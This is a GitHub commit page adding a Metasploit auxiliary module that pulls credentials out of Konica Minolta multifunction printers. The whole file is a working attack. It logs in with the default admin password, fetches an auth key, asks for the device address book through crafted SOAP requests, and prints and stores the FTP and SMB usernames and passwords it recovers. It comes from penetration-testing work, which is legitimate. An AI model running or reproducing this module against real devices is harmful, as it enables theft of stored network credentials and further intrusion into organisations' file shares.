Skip to content

Commit 6c13c14

Browse files
committed
Konica MFP ftp and SMB credential gathering module
1 parent 0d449cb commit 6c13c14

File tree

1 file changed

+233
-0
lines changed

1 file changed

+233
-0
lines changed
Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Konica Minolta Password Extractor',
17+
'Description' => %{
18+
This module will extract FTP and SMB account usernames and passwords
19+
from Konica Minolta mfp devices. Tested models include: C224, C280,
20+
283, C353, C360, 363, 420, C452,C452, C452, C454e },
21+
'Author' =>
22+
[
23+
'Deral "Percentx" Heiland',
24+
'Pete "Bokojan" Arzamendi'
25+
],
26+
'License' => MSF_LICENSE
27+
))
28+
29+
register_options(
30+
[
31+
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
32+
OptPort.new('RPORT', [true, 'The target port', '50001']),
33+
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
34+
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
35+
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
36+
37+
], self.class)
38+
end
39+
40+
# Creates the XML data to be sent that will extract AuthKey
41+
def generate_authkey_request_xlm(major, minor)
42+
user = datastore['USER']
43+
passwd = datastore['PASSWD']
44+
xmlauthreq = '<SOAP-ENV:Envelope'
45+
xmlauthreq << "\nxmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/'"
46+
xmlauthreq << "\nxmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/'"
47+
xmlauthreq << "\nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'"
48+
xmlauthreq << "\nxmlns:xsd='http://www.w3.org/2001/XMLSchema'>"
49+
xmlauthreq << '<SOAP-ENV:Header>'
50+
xmlauthreq << '<me:AppReqHeader'
51+
xmlauthreq << "\nxmlns:me='http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}'>"
52+
xmlauthreq << "<ApplicationID xmlns=''>0</ApplicationID>"
53+
xmlauthreq << "<UserName xmlns=''></UserName>"
54+
xmlauthreq << "<Password xmlns=''></Password>"
55+
xmlauthreq << "<Version xmlns=''>"
56+
xmlauthreq << "<Major>#{major}</Major>"
57+
xmlauthreq << "<Minor>#{minor}</Minor>"
58+
xmlauthreq << '</Version>'
59+
xmlauthreq << "<AppManagementID xmlns=''>0</AppManagementID>"
60+
xmlauthreq << '</me:AppReqHeader>'
61+
xmlauthreq << '</SOAP-ENV:Header>'
62+
xmlauthreq << '<SOAP-ENV:Body>'
63+
xmlauthreq << "<AppReqLogin xmlns='http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}'>"
64+
xmlauthreq << '<OperatorInfo>'
65+
xmlauthreq << "<UserType>#{user}</UserType>"
66+
xmlauthreq << "<Password>#{passwd}</Password>"
67+
xmlauthreq << '</OperatorInfo>'
68+
xmlauthreq << '<TimeOut>60</TimeOut>'
69+
xmlauthreq << '</AppReqLogin>'
70+
xmlauthreq << '</SOAP-ENV:Body>'
71+
xmlauthreq << '</SOAP-ENV:Envelope>'
72+
end
73+
74+
# Create XML data that will be sent to extract SMB passwords for devices
75+
def generate_smbpwd_request_xlm(major, minor, authkey)
76+
xmlsmbreq = '<SOAP-ENV:Envelope'
77+
xmlsmbreq << "\nxmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/'"
78+
xmlsmbreq << "\nxmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/'"
79+
xmlsmbreq << "\nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'"
80+
xmlsmbreq << "\nxmlns:xsd='http://www.w3.org/2001/XMLSchema'>"
81+
xmlsmbreq << '<SOAP-ENV:Header><me:AppReqHeader'
82+
xmlsmbreq << "\nxmlns:me='http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}'>"
83+
xmlsmbreq << "<ApplicationID xmlns=''>0</ApplicationID>"
84+
xmlsmbreq << "<UserName xmlns=''></UserName>"
85+
xmlsmbreq << "<Password xmlns=''></Password>"
86+
xmlsmbreq << "<Version xmlns=''><Major>#{major}</Major>"
87+
xmlsmbreq << "<Minor>#{minor}</Minor></Version>"
88+
xmlsmbreq << "<AppManagementID xmlns=''>1000</AppManagementID>"
89+
xmlsmbreq << '</me:AppReqHeader></SOAP-ENV:Header>'
90+
xmlsmbreq << "<SOAP-ENV:Body><AppReqGetAbbr xmlns='http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}'>"
91+
xmlsmbreq << '<OperatorInfo>'
92+
xmlsmbreq << "<AuthKey>#{authkey}</AuthKey>"
93+
xmlsmbreq << '</OperatorInfo><AbbrListCondition>'
94+
xmlsmbreq << '<SearchKey>None</SearchKey>'
95+
xmlsmbreq << '<WellUse>false</WellUse>'
96+
xmlsmbreq << '<ObtainCondition>'
97+
xmlsmbreq << '<Type>OffsetList</Type>'
98+
xmlsmbreq << '<OffsetRange><Start>1</Start><Length>100</Length></OffsetRange>'
99+
xmlsmbreq << '</ObtainCondition>'
100+
xmlsmbreq << '<BackUp>true</BackUp>'
101+
xmlsmbreq << '<BackUpPassword>MYSKIMGS</BackUpPassword>'
102+
xmlsmbreq << '</AbbrListCondition></AppReqGetAbbr>'
103+
xmlsmbreq << '</SOAP-ENV:Body>'
104+
xmlsmbreq << '</SOAP-ENV:Envelope>'
105+
end
106+
107+
# This next section will post the XML soap messages for information gathering.
108+
def run_host(ip)
109+
print_status("Attempting to extract username and password from the host at #{rhost}")
110+
version
111+
end
112+
113+
# Validate XML Major Minor version
114+
def version
115+
response = send_request_cgi(
116+
{
117+
'uri' => '/',
118+
'method' => 'POST',
119+
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
120+
}, datastore['TIMEOUT'].to_i)
121+
xml0_body = ::Nokogiri::XML(response.body)
122+
major_parse = xml0_body.xpath('//Major').text
123+
minor_parse = xml0_body.xpath('//Minor').text
124+
major = ("#{major_parse}")
125+
minor = ("#{minor_parse}")
126+
login(major, minor)
127+
128+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
129+
print_error("#{rhost} - Version check Connection failed.")
130+
return nil
131+
end
132+
133+
# This section logs on and retrieves AuthKey token
134+
def login(major, minor)
135+
authreq_xml = generate_authkey_request_xlm(major, minor)
136+
137+
# Send post request with crafted XML to login and retreive AuthKey
138+
begin
139+
response = send_request_cgi(
140+
{
141+
'uri' => '/',
142+
'method' => 'POST',
143+
'data' => "#{authreq_xml}"
144+
}, datastore['TIMEOUT'].to_i)
145+
xml1_body = ::Nokogiri::XML(response.body)
146+
authkey_parse = xml1_body.xpath('//AuthKey').text
147+
authkey = ("#{authkey_parse}")
148+
extract(major, minor, authkey)
149+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
150+
print_error("#{rhost} - Login Connection failed.")
151+
return
152+
end
153+
end
154+
155+
# This section post xml soap message that will extract usernames and passwords
156+
def extract(major, minor, authkey)
157+
if (authkey != '')
158+
# create xml request to extract user credintial settings
159+
smbreq_xml = generate_smbpwd_request_xlm(major, minor, authkey)
160+
161+
# Send post request with crafted XML as data
162+
begin
163+
response = send_request_cgi(
164+
{
165+
'uri' => '/',
166+
'method' => 'POST',
167+
'data' => "#{smbreq_xml}"
168+
}, datastore['TIMEOUT'].to_i)
169+
xml2_body = ::Nokogiri::XML(response.body)
170+
@user_data = xml2_body.xpath('//User').map { |val| val.text }
171+
@pass_data = xml2_body.xpath('//Password').map { |val1| val1.text }
172+
@fold_data = xml2_body.xpath('//Folder').map { |val2| val2.text }
173+
@ftp_host = xml2_body.xpath('//Address').map { |val3| val3.text }
174+
@smb_host = xml2_body.xpath('//Host').map { |val4| val4.text }
175+
end
176+
i = 0
177+
# check for empty fields, identify protocol type, pass to creds database
178+
@user_data.each do
179+
fhost = "#{@ftp_host[i]}"
180+
shost = "#{@smb_host[i]}"
181+
uname = "#{@user_data[i]}"
182+
pword = "#{@pass_data[i]}"
183+
184+
if !shost.empty? && !uname.empty?
185+
port = '139'
186+
host = "#{@smb_host[i]}"
187+
print_good("User=#{uname}:Password=#{pword}:Host=#{host}:Port=#{port}")
188+
register_creds('smb', host, port, uname, pword)
189+
elsif !fhost.empty? && !uname.empty?
190+
port = '21'
191+
host = "#{@ftp_host[i]}"
192+
print_good("User=#{uname} Password=#{pword} Host=#{host} Port=#{port}")
193+
register_creds('ftp', host, port, uname, pword)
194+
end
195+
i += 1
196+
end
197+
else
198+
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
199+
return
200+
end
201+
end
202+
203+
def register_creds(service_name, remote_host, remote_port, username, password)
204+
credential_data = {
205+
origin_type: :service,
206+
module_fullname: self.fullname,
207+
workspace_id: myworkspace.id,
208+
private_data: password,
209+
private_type: :password,
210+
username: username
211+
}
212+
213+
service_data = {
214+
address: remote_host,
215+
port: remote_port,
216+
service_name: service_name,
217+
protocol: 'tcp',
218+
workspace_id: myworkspace_id
219+
}
220+
221+
credential_data.merge!(service_data)
222+
credential_core = create_credential(credential_data)
223+
224+
login_data = {
225+
core: credential_core,
226+
status: Metasploit::Model::Login::Status::UNTRIED,
227+
workspace_id: myworkspace_id
228+
}
229+
230+
login_data.merge!(service_data)
231+
create_credential_login(login_data)
232+
end
233+
end

0 commit comments

Comments
 (0)